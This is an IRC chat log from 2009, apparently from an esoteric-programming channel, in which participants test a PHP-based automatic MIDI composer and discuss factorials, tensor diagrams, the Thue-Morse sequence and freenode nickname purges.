20:16:35 <Sgeo_> Oh, I skipped it because of confusing-link-ness I think
20:21:49 <ehird> GregorR-L: make more
20:22:11 <GregorR-L> ehird: I'm in the middle of pretending to do work while adding tendencies.
20:22:17 <ehird> GregorR-L: good on you!
20:22:21 <ehird> you are a true patriot.
20:26:49 <GregorR-L> The tendencies seem to push it towards slowness more often than they ought to.
20:29:08 <GregorR-L> http://filebin.ca/hgrmao/gen.mid // first tests with tendencies
20:29:10 <ehird> "And computers are big, too. You can buy a 1000MHz machine with 2 gigabytes of RAM and an 1000Mbit/sec Ethernet card for $1200 or so."
20:29:28 <ehird> GregorR-L: god that's slow
20:29:35 <ehird> GregorR-L: but interesting
20:29:42 <GregorR-L> After a bit it speeds up, but it still has a tendency to like long lulls >_>
20:29:48 <GregorR-L> And I'm not sure why at this point.
20:30:53 <GregorR-L> ("slow" is one of its tendencies, it just seems to be ... more powerful.)
20:31:44 <ehird> [ehird:~] % nginx --help
20:31:44 <ehird> 2009/06/11 20:30:19 [emerg] 3086#0: invalid option: "--help"
20:31:45 <ehird> [ehird:~] % nginx -h
20:31:47 <ehird> 2009/06/11 20:31:37 [emerg] 3176#0: invalid option: "-h"
20:31:49 <ehird> [ehird:~] % man nginx
20:31:51 <ehird> No manual entry for nginx
20:38:13 -!- ais523 has quit (Remote closed the connection).
20:48:55 <Deewiant> ehird: Try -? and lack of parameters
20:49:11 <ehird> just nginx would start the daemon
20:52:21 -!- Hiato has quit ("Leaving.").
20:53:29 -!- tombom has joined.
20:56:37 <ehird> 11/06/2009 20:55:20 TextMate[97936] This application is trying to draw a very large combo box, 145 points tall. Vertically resizable combo boxes are not supported, but it happens that 10.4 and previous drew something that looked kind of sort of okay. The art in 10.5 does not break up in a way that supports that drawing. To avoid breaking existing apps, NSComboBox in 10.5 will use the 10.4 art for large combo boxes, but it won't exactly match the rest
20:56:39 <ehird> of the system. This application should be revised to stop using large combo boxes. This warning will appear once per app launch.
20:56:46 <ehird> oh, Apple, such a homely log message
20:58:59 <ehird> Deewiant: -? and -h work, even though they didn't a second ago
20:59:08 <ehird> before i reinstalled after syncing the portfiles
21:03:21 <Deewiant> This is why I use (/|--?)(h(e?lp)?|\?) :-P
21:04:48 <GregorR-L> http://codu.org/masterpiecemachine/getmidi.php?mpid=Onerously+Uptight+Toccata // weird one
21:06:15 <GregorR-L> They get more like music every time.
21:06:36 <GregorR-L> (This one employs the tendencies system)
21:07:04 <ehird> GregorR-L: How do I make my own auto track?
21:08:51 <ehird> GregorR-L: http://codu.org/masterpiecemachine/getmidi.php?mpid=Onerous+Cake-Eating+Festival+Disallowment+Barricade
21:09:02 <ehird> It has melody underneath the chaos of 20 tracks.
21:09:12 <GregorR-L> Hold on, I'm relistening to Onerously Uptight Toccata.
21:09:13 <ehird> With a mandatory 10 measure rest.
21:09:22 <ehird> GregorR-L: the time signature is 8/2
21:09:25 <ehird> how does it interpret that? :P
21:09:27 <GregorR-L> The autocomposer ignores mandatory rests for the moment.
21:09:37 <ehird> oh wow, this is really nice
21:09:39 <GregorR-L> It does handle time signatures, but only if the numerator is a power of 2.
21:09:43 <ehird> the percussion really comes together
21:09:50 <ehird> GregorR-L: well 8 is
21:09:56 <ehird> GregorR-L: but 8/2 ain't no valid time signature
21:10:23 <ehird> GregorR-L: btw this is the best autocomposed tune yet imo
21:10:28 <GregorR-L> Anything where the denominator is a power of 2 is valid.
21:10:32 <ehird> it's not even dissonant
21:10:56 <ehird> god, it really flows well
21:11:01 <ehird> GregorR-L: this is one of the best things i've heard recently
21:11:11 <ehird> i'm not exaggerating in the slightest
21:11:39 <GregorR-L> I disallowed >16, but apparently not well.
21:11:47 <ehird> GregorR-L: Well, don't.
21:11:48 <ehird> Because this is beautiful.
21:11:54 <ehird> It even ends properly.
21:12:02 <ehird> GregorR-L: are you sure?
21:12:07 <ehird> GregorR-L: Which 16 am I hearing?
21:12:17 <ehird> GregorR-L: Feel free to chop off the unused ones in the database.
21:12:24 <ehird> The completed work as-is is spectacular.
21:12:29 <GregorR-L> I have no database concern, just that it allowed them >_<
21:13:00 <ehird> GregorR-L: listened to it yet?
21:13:10 <ehird> GregorR-L: it gets better
21:13:15 <ehird> it really has parts to it, i swear
21:13:20 <ehird> it has song structure!
21:13:34 <ehird> GregorR-L: around 0:18 the intro finishes
21:14:45 <ehird> GregorR-L: You can't deny it's awesome.
21:15:06 <GregorR-L> You realize that the only person complemented by saying it's awesome is me, right? :P
21:15:15 <ehird> GregorR-L: Or the computer!
21:15:24 <ehird> I'm just complimenting the piece, really.
21:15:34 <ehird> It somehow totally hits a tiny bit of chaos with a whole lot of work.
21:17:25 <GregorR-L> Incidentally, part of the reason why it has a real ending is I mangled the algorithm to make the last measure always sound endish.
21:18:01 <ehird> GregorR-L: but it does do endy bits a little before that
21:19:04 * pikhq finished reading that Connection Machine essay.
21:19:11 <pikhq> Man, Feynman is awesome.
21:21:25 <ehird> GregorR-L: Why can't you enter any time signature?
21:21:44 <GregorR-L> ehird: It only knows how to choose note lengths by dividing a measure in half repeatedly.
21:21:52 <GregorR-L> So anything will "work", but e.g. 6/8 will be treated like 4/8
21:22:00 <ehird> GregorR-L: What about 6/16? :P
21:22:51 <ehird> Warning: SQLite3::exec() [sqlite3.exec]: database is locked in /var/www/masterpiecemachine/lib/newmasterpiece.php on line 125
21:22:51 <ehird> Failed to add this Masterpiece to the database!
21:23:16 <ehird> The autocomposer is slower nao.
21:23:36 <ehird> GregorR-L: you should add an "autocompose all" button for lazy sods.
21:24:00 <GregorR-L> Sorry, I fekked something up so I'm poking around in the DB.
21:24:39 <ehird> GregorR-L: http://codu.org/masterpiecemachine/getmidi.php?mpid=Codu+Dot+Org+Slash+Masterpiecemachine+Slash+Questionmark+Newmp This is the song you hear while you are flown into the gates of hell.
21:26:08 <ehird> GregorR-L: Yeah, it's very bad :P
21:26:12 <ehird> GregorR-L: I'm gonna try one in 1/1.
21:26:20 <GregorR-L> Oh, you're doing weird time signatures? :P
21:26:31 <ehird> GregorR-L: That is one of my primary sources of fun, yus.
21:26:44 <ehird> Sorry, but the time signature and number of measures must be set to autocompose!
21:26:54 <ehird> GregorR-L: I tried to give it 1/1.
21:26:58 <ehird> GregorR-L: It didn't enter into the db.
21:27:05 <ehird> GregorR-L: Edit "On Freckled Petsnippers and Other Agglomerates" to be 1/1 plz?
21:27:42 <ehird> pikhq: played at 666bpm
21:28:55 <ehird> GregorR-L: It still won't— yeah. :P
21:29:26 <ehird> pikhq: i wonder what imaginary time signatures would be like
21:30:18 <ehird> GregorR-L: http://codu.org/masterpiecemachine/getmidi.php?mpid=On+Freckled+Petsnippers+and+Other+Agglomerates
21:30:21 <ehird> Doesn't sound very 1/1.
21:32:02 <ehird> GregorR-L: http://codu.org/masterpiecemachine/getmidi.php?mpid=How+Conventional+Pop+Song+Tune+What does not live up to its name.
21:34:44 <ehird> GregorR-L: you should make a meta version of the system which composes compositions
21:34:52 <ehird> so you can do _real_ generated masterpieces - in the normal sense
21:36:12 <ehird> GregorR-L: whuzzyu favyu compozzyu buyzzit?
21:36:18 <ehird> so i can make the direct antithesis
21:36:21 <ehird> thus ruining your mind
21:37:15 <ehird> GregorR-L: Buy, zz, it.
21:37:54 <GregorR-L> Probably Onerously Upright Toccata
21:40:08 <ehird> GregorR-L: It'd be nice if we could tweak the uhh spectra. Tendencies? That's the word.
21:40:28 <GregorR-L> You can ... by editing the code X-P
21:50:58 <pikhq> Y'know, heap sort is much better when you've already got a heap.
21:57:29 <Deewiant> Y'know, sorting is much better when you can assume that sort is the identity function
22:18:47 -!- Corun has joined.
22:20:58 -!- tombom has quit ("Peace and Protection 4.22.2").
22:22:22 -!- GregorR-L has quit ("Leaving").
22:30:14 -!- BeholdMyGlory has quit (Remote closed the connection).
23:04:34 -!- Corun_ has joined.
23:10:23 <ehird> GregorR: can the genneys do multi harmony?
23:20:46 -!- Corun has quit (Read error: 110 (Connection timed out)).
23:25:24 -!- psygnisfive has quit ("Leaving...").
23:32:04 -!- oerjan has joined.
23:38:44 <oerjan> <warrie> One is #quote, and one is my fan club. <-- damn whipper snapper got his _own_ _fan_ _club_?!
23:38:50 -!- zzo38 has joined.
23:40:10 -!- FireFly has quit ("Later").
23:40:13 -!- psygnisfive has joined.
23:40:41 <oerjan> that's a pretty small number
23:40:46 <oerjan> with the factorial and all
23:41:02 <psygnisfive> well, its an exclamation point, not a factorial mark
23:41:33 <psygnisfive> interestingly, scheme can computer 89! instantly with perfect precision
23:41:57 <ehird> psygnisfive: so can anything
23:42:04 <ehird> that just requires a non-totally-shit bignum library
23:42:09 <ehird> which every civilized language has
23:42:23 <ehird> indeed, that much is obvious
23:43:04 <ehird> psygnisfive: it can also compute 1000! instantly with "perfect precision".
23:43:14 <ehird> psygnisfive: also, scheme is a language, not an implementation
23:43:37 <psygnisfive> yes, i suppose 89! is not quite as big as i imagined :o
23:43:59 <psygnisfive> but scheme by the spec has perfectprecision on numbers, i think
23:44:08 <ehird> psygnisfive: wait.
23:44:18 * oerjan recalls that 1000000! or thereabouts got a bit much for lambdabot, unless we used binary splitup
23:44:19 <zzo38> Which esolang uses diagramatic tensor calculation?
23:44:31 <oerjan> or maybe it was 100000!
23:44:54 <zzo38> The TI-92 calculator can calculate some big factorial number
23:45:00 <ehird> [ehird:~/Junk] % echo 'main = print (product $ enumFromTo 2 10000)' >f.hs
23:45:03 <ehird> [ehird:~/Junk] % ghc -O2 f.hs -o f
23:45:16 <ehird> psygnisfive: runs in 0.06s
23:45:17 <oerjan> zzo38: searching for "tensor" on esolang wiki gives no hits
23:45:21 <ehird> psygnisfive: beat that :)
23:45:44 <zzo38> Someone (possibly me? Or possibly someone else) should invent esolang with diagrammatic tensor calculations
23:46:43 <oerjan> even i don't know what that is (the diagrammatic part), so i think you may be on your own :)
23:46:44 <zzo38> I sit in this way so that I don't bump the ball and sign on the side of the desk
23:47:34 <zzo38> Do you know what tensor multiplication is? If you don't, I will tell you.
23:47:34 <fizzie> Scheme has bignums in the standard, though (well, I guess they're sort-of optional, it's just that all the other Scheme implementations will probably not invite you to their parties if you don't do them); that's not something that's in all "civilized" languages. (Except for a very narrow definition of civilized.)
23:47:57 <zzo38> If you start with [1,-1] and repeatedly tensor square it you get the Morse-Thue sequence
23:48:12 <oerjan> ehird: also, what's wrong with [2..10000] ?
23:48:27 <ehird> oerjan: i was just expanding "product . enumFromTo 1"
23:48:41 <zzo38> A tensor multiplication of a AxB and CxD matrices gives (AC)x(BD) size of the result matrix.
23:49:17 <zzo38> You multiply each entry in the matrix with all entries in the other matrix and put them inside each part where the matrix wads
23:49:33 <oerjan> zzo38: i know what a tensor multiplication is. it's the "diagrammatic" part i don't know, as i said
23:49:48 <oerjan> well, more or less, anyway
23:49:59 <ehird> zzo38: oerjan is a published mathematician you know :D
23:50:41 <zzo38> A diagrammatic tensor multiplication, is you put various shapes with lines extending above and below, representing a vector or covector space. You do tensor multiplication horizontally and matrix multiplication vertically
23:51:59 -!- GreaseMonkey has joined.
23:52:26 <zzo38> For example, if a vector has 2 components, then a shape with 2 lines below and 3 lines above is a tensor representing a matrix with 4 columns and 8 rows
23:53:06 <zzo38> That's what a tensor diagram is.
23:53:22 <oerjan> btw matrix multiplication is just tensoring then taking the trace (diagonal sum) along a couple of the coordinates
23:53:48 <oerjan> B and C in the above case
23:54:23 <oerjan> hm that may not be quite the same kind of tensoring
23:54:43 <zzo38> Now do you know what a tensor diagram is? And do you know if you get the Morse-Thue sequence when starting with [1,-1] and repeatedly tensor squaring
23:55:20 <oerjan> 1 by 2 matrix ---> 1 by 2^n matrix? sounds plausible
23:55:45 <ehird> zzo38: it's thue-morse
23:55:59 <oerjan> ehird: my advisor always said Morse-Thue
23:56:25 <oerjan> and he loved using it as an example
23:56:49 <oerjan> (it gives a nice dynamical system of the kind we investigated)
23:57:22 <zzo38> I have never heard thue-morse. I have always seen it called Morse-Thue
23:57:49 <ehird> zzo38: wikipedia says thue-morse and makes no mention to morse-thue
23:57:54 <GregorR> http://filebin.ca/usbggh/UnhurriedlySkillfulToccata.mid // my first test of making the tendencies agree.
23:57:54 <ehird> also, the esolang wiki always says TM
23:58:09 <oerjan> we just copied wikipedia, probably
23:58:10 <ehird> zzo38: http://mathworld.wolfram.com/Morse-ThueSequence.html redirects to thue-morse
23:58:16 <ehird> so i'd say that's the "correct" one
23:58:46 <oerjan> that might be slightly more "authoritative"
23:58:59 <ehird> one book in the results said "morse-thue" but meh
23:59:01 <ehird> thue-morse soudns nicer
23:59:03 <ehird> GregorR: that sounds nice
23:59:07 <ehird> GregorR: this could totally become something
23:59:27 <GregorR> I think if I add some ability for it to take certain bits and make them repeating themes ... possibilities.
23:59:31 <zzo38> Call it what you like. I just called it Morse-Thue because that is the only thing I have ever seen it being called.
23:59:32 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
23:59:48 <ehird> GregorR: Then the meta-tendencies. :P
00:00:06 <GregorR> I forget what your meta-tendencies idea was :P
00:00:52 <ehird> GregorR: Tendencies are patterns of arrangement and facets of music elements. Meta-tendencies are patterns of arrangement and facets of tendencied tracks.
00:01:10 <oerjan> For example, if a vector has 2 components, then a shape with 2 lines below and 3 lines above is a tensor representing a matrix with 4 columns and 8 rows <-- so above and below are probably covariant vs. contravariant coordinates, i guess
00:01:13 <ehird> So you could produce multi-track songs where the tracks explicitly try and fit together, instead of only individual tracks being polished.
00:01:14 <GregorR> Ahhhhhhhhh. That could meta out of control :P
00:01:23 <oerjan> (or the other way around)
00:03:19 <GregorR> ehird: This /was/ the tracks trying to fit together.
00:03:41 <GregorR> ehird: But only because I generated the tendencies separately, then caused them all to use (for the most part) the same tendencies track.
00:03:43 <ehird> GregorR: I only heard one track
00:03:55 <GregorR> ..........................
00:03:59 <GregorR> Then your MIDI is fekky :P
00:04:01 <zzo38> http://zzo38computer.cjb.net/img_0E/tensor_diagram.png That's the diagram to represent the trace of a matrix
00:04:09 <ehird> GregorR: the instruments just sound alike
00:05:55 <ehird> GregorR: is this in the magicizer thingy
00:06:18 <zzo38> Tomorrow is anime convention
00:06:36 <zzo38> I am wearing the ball and two signs.
00:07:55 <zzo38> And I have to be careful not to bump the ball on the inside of the desk!
00:08:43 <ehird> GregorR: http://codu.org/masterpiecemachine/getmidi.php?mpid=Variations+on+a+Dun-Roamin__+Twerp+Loser
00:08:50 <oerjan> zzo38: btw in haskell (with Control.Monad imported) that way of computing thue-morse is just liftM product $ replicateM n [-1,1]
00:08:51 <ehird> 40 minutes, 174bpm, Gb major, 16 tracks, 7/2.
00:08:52 <zzo38> My computer is out of ink but it managed to print it correctly anyways
00:09:07 <ehird> It even sounds epic.
00:09:23 <GregorR> ehird: .......... except it won't actually be 7/2 :P
00:09:41 <ehird> GregorR: What it needs is a way to change instruments over time or something.
00:10:47 <zzo38> Why does wget not recognize the invalid filename and output to a valid one?
00:11:09 <zzo38> I can use -O but it should be made to work without requiring -O if it can normally work without -O
00:11:40 <zzo38> It tries to write to "getmidi.php?mp...." unless I give it a different one
00:11:46 <ehird> GregorR: What's 8/16 treated as again?
00:11:47 <zzo38> Is it fixed in the new wget
00:12:08 <GregorR> Only if the numerator is not a power of 2 is it treated weirdly.
00:12:27 <ehird> GregorR: I am currently generating a six-hour ambient masterpiece.
00:12:33 <ehird> Let's hope percussion doesn't enter the mix.
00:12:41 <ehird> 6.6 recurring hours, actually.
00:12:49 <GregorR> http://filebin.ca/tgruta/AgonizedlyChunkySonata.mid // this is a surprisingly accurate name :P
00:12:51 <ehird> Fatal error: Maximum execution time of 30 seconds exceeded in /var/www/masterpiecemachine/lib/autocomposer.php on line 59
00:13:01 <ehird> GregorR: can you unlimit it for a bit :D
00:13:07 <oerjan> zzo38: i'm not sure it's really invalid, it's just long?
00:13:12 <GregorR> ehird: TBH I don't even know how >_>
00:13:13 <zzo38> You can also use MIDI-Transmutation to remove the percussion afterward, if it can load that MIDI file. For some reason I don't know, MIDI-Transmutation will not load all MIDI files.
00:13:19 <oerjan> everything but / and NUL is allowed, isn't it
00:13:39 <ehird> GregorR: set_time_limit(9999999999999)
00:13:47 <ehird> less ridiculous value
00:14:18 <zzo38> You can run the PHP file on the command-line instead
00:14:57 <ehird> GregorR: Clicked, come back in 10 minutes.
00:15:20 <GregorR> 8130 codu 20 0 231m 37m 5096 R 98.2 3.7 1:51.24 apache2
00:15:27 <ehird> GregorR: *whistle*.
00:15:39 <zzo38> Did I make a mistake in the MIDI reading codes
00:15:45 <ehird> GregorR: Just pray to the nonexistent god that no noisy percussion will enter this beautiful ambient piece.
00:16:01 <ehird> Although that'd be ironic, and irony is fun, so maybe it'd be okay.
00:16:12 <ehird> GregorR: This is going to be the first multi-gigabyte midi file evar :P
00:16:25 -!- psygnisfive has joined.
00:16:33 <ehird> Still goin' for the first track.
00:16:36 <ehird> Shit better be good.
00:16:58 <ehird> GregorR: Fatal error: Maximum execution time of 120 seconds exceeded in /var/www/masterpiecemachine/lib/autocomposer.php on line 59
00:17:03 <ehird> That was not a large enough limit.
00:17:24 <ehird> GregorR: Just set it to something ginormous
00:17:31 <ehird> GregorR: Try set_time_limit(0)
00:17:35 <ehird> that'll remove all limits
00:18:08 <zzo38> ?everything ?equal channel 9 :delete
00:18:23 <ehird> GregorR: Shall I try again?
00:19:05 <ehird> GregorR: Why the fuck did you write this in PHP.
00:19:09 <zzo38> You should probably run it on a command-line if it takes a long time.
00:19:21 <GregorR> ehird: There are no good dynamic languages.
00:19:48 <ehird> GregorR: Python would do this in like 10x faster than PHP and 10x less shit code; Python is terrible but come on, *PHP*?
00:20:03 <zzo38> Web-service is just not a good way for these kind of long time software, there can be many problems with doing it that way
00:20:11 <ehird> zzo38: Liiiiiiiiiiiiiiiiiiiiiiiike........
00:20:23 <GregorR> ehird: I've never gotten comfortable enough with Python to be able to use it for ... well, anything really.
00:20:38 <zzo38> There can be problem of internet connection, or the browser to stop.
00:20:39 <ehird> GregorR: Gawd, just write it in C, I can't imagine it desperately needs the dynamism :P
00:20:49 <ehird> zzo38: That's irrelevant, this should take 10 minutes max
00:21:01 <zzo38> And anyways command-line just seems better for this kind of things.
00:21:16 <zzo38> O, only 10 minutes? You can try and see if it work.
00:21:24 <ehird> Tha's what I'm doing :P
00:21:28 <zzo38> If it doesn't work then you can try it on the command-line
00:21:37 <ehird> No, GregorR can. Or just not bother,
00:22:26 <ehird> GregorR: IT WORKED
00:22:32 * ehird downloads it for curiosity
00:22:40 <zzo38> Do you know how to write C codes to make interrupt for CTRL+BREAK in SDL programming (such as MegaZeux)?
00:22:52 <ehird> GregorR: actually 2:46
00:23:04 <ehird> and it downloaded more or less instantly so /shrug
00:23:08 <GregorR> ehird: lawl, my 120 guess was sooo close :P
00:23:11 <ehird> let's hope the rest of these are ambient enough
00:23:38 <ehird> GregorR: of php execution time; im talking about the track
00:23:52 <GregorR> I thought you were talking about execution time there, I'm el dum >_>
00:24:02 <ehird> GregorR: Yeah, 2 hours suddenly passed in that brief interval.
00:24:02 <GregorR> I added support for changing volume. It's working well :)
00:24:45 <zzo38> Do you guess how I will wear in anime convention
00:24:55 <zzo38> I hope they have Magic:the Gathering cards this year
00:24:59 <GregorR> zzo38: Something terrifying I'm sure.
00:25:00 <ehird> zzo38: I'm... not bothered, to be utterly honest.
00:25:32 <zzo38> I was going to wear something else but I didn't have time.
00:25:41 <zzo38> So, I attached the ball and two signs to belt loop
00:25:48 <ehird> You told us, zzo38.
00:25:51 <zzo38> I made the signs in PowerPoint
00:26:11 <zzo38> So, I am the pokemon philosopher now!
00:26:40 <zzo38> PowerPoint wouldn't let me add all the guides
00:26:50 <ehird> GregorR: on to the third track
00:26:53 <ehird> some percussion got in but it's mild enough
00:27:41 <zzo38> Does PowerPoint has a limit the number of guides lines you can add onto the page?
00:27:54 <ehird> GregorR: The idea is that you should put a very long lasting music player inside your tomb and put this on loop.
00:28:05 <ehird> So you can have dreadful ambient music permeating your non-existent afterlife.
00:28:16 <ehird> Or at least until the player dies
00:28:18 <zzo38> And how long would the music player last, do you think it is?
00:28:49 <zzo38> I don't need a music like that on my tomb. I can play the music John Cage 4'33" at my funeral, I don't need someone living to do it for me.
00:29:17 <ehird> zzo38: Don't you hate your lack of consciousness
00:29:25 <ehird> Don't you want it to not suffer?!?!?!
00:29:35 <ehird> Fail to punish it with the in-tomb ambient musicalizer 2000!
00:29:45 <zzo38> Do I have a lack of consciousness? I seem not to have a lack of consciousness
00:30:25 <ehird> zzo38: Well, we're talking post-death here.
00:30:29 <zzo38> Did you know that I am building Forth codes into MegaZeux?
00:31:26 <ehird> GregorR: LAST TRACK COMPOSING!
00:31:37 <zzo38> I have seen some question written somewhere, what music do you want played at your funeral and who will play the music? I decided, I can play the music myself and it can be John Cage 4'33" music
00:31:37 <ehird> This will be awful.
00:31:45 <GregorR> ehird: Yes. Yes it will be :P
00:32:02 <ehird> GregorR: I should send it to Pitchfork media for review
00:32:23 <zzo38> Do you know MegaZeux at all? I can take suggestion or question/comment for my forked project of MegaZeux.
00:32:29 <ehird> "The Bermudan textures of this post-ironic landscape encompasses a velvety glove of compassion and detachment from reality"
00:33:52 <zzo38> What's a "post-ironic landscape" anyways, is that some kind of music I have never even heard of before
00:34:03 <zzo38> s/some kind/some new kijnd/
00:34:06 <zzo38> s/some kind/some new kind/
00:34:09 <ehird> zzo38: It's bullshit, but it's exactly the kind of thing Pitchfork would say :P
00:34:40 <ehird> GregorR: http://codu.org/masterpiecemachine/getmidi.php?mpid=Ambient+Melodrama+For+Your+Tomb
00:34:52 <ehird> Clicking it = lag as it mixes :P
00:35:27 <ehird> Floopee doob a dooba wha scha waa
00:35:28 * GregorR reverts to the 30 second time limit :P
00:35:39 <ehird> But then it won't be downloadable :P
00:35:49 * ehird sleeps while mixing
00:35:54 <ehird> this may take a while
00:36:02 <oerjan> <zzo38> I have seen some question written somewhere, what music do you want played at your funeral and who will play the music? I decided, I can play the music myself and it can be John Cage 4'33" music <-- brilliant :D
00:36:19 <ehird> i want jesus to be at my funeral and go
00:36:32 <ehird> "He was my second coming and was totally kick-ass." and then play a rubbish metal song.
00:36:44 <ehird> It would be delightfully meaningless, lame and rubbish.
00:37:07 <oerjan> ehird: you realize zzo38's suggestion could actually work, though?
00:38:19 <ehird> GregorR: Uh, this mixing is taking a long time.
00:38:29 <zzo38> MEMBER OF ANTI-MASTER-BALLS
00:38:39 <zzo38> POCKET MONSTER PHILOSOPHICAL LEVEL 111
00:38:56 * oerjan wonders where oklopol is these days
00:39:00 <GregorR> ehird: It shouldn't, the mixing is all C ....
00:39:07 <zzo38> Is *(char*)0=0; a proper way to crash a C program so that it will break into the debugger
00:39:14 <ehird> oerjan: too busy being 20 and having sex, I guess
00:39:41 <ehird> GregorR: Is it working for you?
00:40:07 <zzo38> I know *(char*)0=0; works because I have tested it, but is there a better way
00:40:34 <Asztal> a manual breakpoint? (interrupt 3)
00:40:39 <zzo38> I have #ifdef DEBUG case 0x042: { /* CRASHMZX */ *(char*)0=0; break; } #endif
00:41:04 <zzo38> And is it cross-platform compatible
00:41:19 <ehird> GregorR: what's the one you liked again?
00:42:04 <ehird> GregorR: Fix dat mixin'
00:42:28 <GregorR> Gimme a sec, I'm fixing things less irrelevant than mixing multi-hour MIDIs.
00:44:47 <oerjan> <zzo38> What's a "post-ironic landscape" anyways <-- whatever we'll be living in when the age of irony finally ends, i assume
00:45:41 <oerjan> if it ever does. and if anyone survives it ending.
00:50:20 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)).
00:54:36 <GregorR> http://filebin.ca/haxfsj/FarcicallyBrawnyFugue.mid // haven't decided whether I like this one yet.
00:55:09 <ehird> GregorR: it's good
00:55:18 <ehird> i love my aesthetic senses, they can pick up anything
01:06:36 <GregorR> The "state of the art" is online now.
01:08:42 -!- inurinternet has quit (No route to host).
01:09:02 <ehird> GregorR: http://codu.org/masterpiecemachine/getmidi.php?mpid=Roe+v_+Wade+As+An+Analogy+For+Temperature
01:09:30 <ehird> When will Melodrama mix? :-P
01:09:53 <oerjan> global warming is killing unborn children?
01:10:05 <ehird> psygnisfive: My titles are designed for absurdity.
01:13:26 -!- inurinternet has joined.
01:48:05 -!- oerjan has quit ("leaving").
01:51:36 <GregorR> As it turns out, there's more to having a theme than just repeating stuff randomly :P
01:55:35 -!- inurinternet has quit.
01:58:08 -!- inurinternet has joined.
01:58:20 -!- Corun_ has quit (Read error: 110 (Connection timed out)).
02:23:58 -!- Uddhavadasa has joined.
02:24:33 -!- Uddhavadasa has left (?).
02:37:40 <GregorR> http://codu.org/masterpiecemachine/getmidi.php?mpid=Amateurishly+Legal+Fugue
02:46:17 -!- amca has joined.
03:01:50 <GregorR> -NickServ- Nicks : GregorR-L \x1B[2J You`re GregorR potatoes GregorR-W pound_define behypercubed _ZN6Gregor1REd
03:01:51 <GregorR> -NickServ- Nicks : _D6Gregor1RFeZi ifndef_GREGOR_H TravelGreaseGod vsnprintf
03:01:56 <GregorR> Which nicks do I need to keep.
03:22:21 -!- oerjan has joined.
03:24:34 <oerjan> don't you dare step in my potato field!
03:34:32 <GregorR> Bleh, they deleted 'em already :P
03:35:12 <oerjan> the deletions were yesterday, weren't they?
03:35:45 <GregorR> -NickServ- Nicks : GregorR-L GregorR TravelGreaseGod vsnprintf
04:39:27 -!- coppro has joined.
05:00:20 <warrie> My current nick is not registered.
05:00:59 <oerjan> um whois says you are, on account ihope no less
05:01:15 -!- oerjan has changed nick to test123.
05:01:18 <coppro> oerjan: he may be logged in but not registered
05:01:22 <warrie> Notice that "warrie" was not in that list.
05:01:40 -!- test123 has changed nick to oerjan.
05:01:54 <warrie> Also, "- warrie is not registered."
05:02:26 * pikhq still has his grouped nicks
05:02:28 <oerjan> oh right, "is identified to services" and "is signed on as account ..." are two different lines
05:02:49 <warrie> From now on, I shall change nicks daily.
05:03:04 <psygnisfive> the piraha of brazil change their names every few months.
05:03:32 <oerjan> i made sure to use oerjan_ a moment yesterday
05:03:52 <pikhq> I didn't have to make sure; I actually did log on as pikhq_ yesterday. :P
05:04:04 <psygnisfive> so whats this policy issue we're talking about now?
05:04:46 <oerjan> warrie: what would have been more amusing was if "ihope" had been deregistered, i don't see you using it much. i wonder what would have happened.
05:04:49 <warrie> My next nicks will be the following: Saites, Ankulos, Klepto, Aeros, Laodikeia, Kenkhreai, Sarpedon.
05:05:06 <warrie> I didn't make sure to log in as anything.
05:05:17 <oerjan> psygnisfive: just freenode's nick and channel purging from yesterday
05:05:31 <oerjan> if you haven't used a nick in a long time, it will be gone now
05:06:14 <warrie> You know, I didn't know that the Greek letter gamma could correspond to an "n". Is it only an ng n, or can it be plain n as well?
05:06:22 <warrie> Or am I acting as if I had been lied to?
05:07:13 <oerjan> psygnisfive: i don't know whether there was any policy change, other than that there is now a way to log in to your account even if you are not using your normal nicks
05:07:35 <oerjan> warrie: i've also read that double gamma is ng-n
05:07:43 -!- warrie has changed nick to Saties.
05:07:48 -!- psygnisfive has changed nick to augur.
05:07:49 -!- Saties has changed nick to Saites.
05:07:51 <oerjan> i cannot recall anything more than that.
05:07:59 <Saites> This shall me by Thursday nick.
05:08:09 <oerjan> oh maybe something about tt vs. ss due to dialect differences
05:08:12 <augur> how do i log out of a nick?
05:08:46 <augur> ive told nickserv "hey listen its me using this nick, its ok"
05:08:51 <augur> "plz dont boot me in 30 seconds"
05:09:09 <oerjan> augur: um augur is not your nick is it?
05:09:27 <oerjan> so it was released yesterday too?
05:09:44 <augur> the cunt who had it was never online EVER and i couldnt get the nick
05:10:14 <oerjan> augur: if he had been away for 60 days you could get it by asking, even before the purge
05:10:24 <oerjan> and if he hadn't, it shouldn't have been purged
05:10:41 <augur> pfft. i tried but noone was ever fucking able to tell me what to do
05:11:05 <augur> FINALLY i can have my fucking nick
05:11:14 * Saites notes that lilo is still registered, with the "Hold" flag.
05:11:16 <GregorR> augur: You couldn't find anybody to tell you /join #freenode ? :P
05:11:26 <augur> gregorr: i had done
05:11:26 <GregorR> Saites: I noted that as well.
05:11:34 <augur> but noone THERE knew what the fuck i could do
05:11:48 <Saites> Nobody there told you to /stats p?
05:22:37 -!- Where has joined.
05:22:50 * Where in the world is Gregor Richards? 8-D
05:23:02 -!- Where has changed nick to When.
05:23:18 -!- When has changed nick to Why.
05:23:44 -!- Why has left (?).
05:24:01 <oerjan> yo dawg, i heard you like gregor richards, so we put a gregor richards in you so you can, erm, something.
05:24:40 <GregorR> Excuse me while I make myself the king of /me-sentences :P
05:26:11 -!- augur has changed nick to Where.
05:26:21 * Where in the world is Carmen San Diego? 8-D
05:26:23 -!- Where has changed nick to augur.
05:26:31 -!- That has joined.
05:26:45 * That I am the king of /me-nicks is undisputable.
05:27:02 -!- That has changed nick to Every.
05:27:11 -!- augur has changed nick to Suddenly.
05:27:15 * Every good /me nick belongs to me!
05:27:18 -!- Suddenly has changed nick to augur.
05:27:36 <augur> every, you have chosen a nice nick.
05:27:49 -!- Every has changed nick to Why.
05:27:58 * Why would you say this is silly?
05:28:13 -!- oerjan has changed nick to And.
05:28:23 * And this one is just to annoy ehird
05:28:36 -!- And has changed nick to oerjan.
05:29:02 * Saites is a singular common noun and therefore cannot occur at the beginning of a sentence.
05:29:16 <Why> Minus the "common" part.
05:29:30 -!- Why has changed nick to When.
05:29:56 <augur> singular nouns can appear at the beginning of a sentence
05:30:32 <augur> tho i believe what you really mean is that semantically singular non-mass nouns in english require non-zero determiners.
05:30:49 -!- When has left (?).
05:31:10 <Saites> Actually, "Saites" might be an adjective. I don't really know.
05:31:21 <augur> adjectives can begin sentences.
05:31:38 * Saites people are always from Egypt.
05:31:50 <augur> what does saites mean anyway
05:31:53 <Saites> Or maybe it's a singular adjective.
05:31:56 <augur> and what languae is it
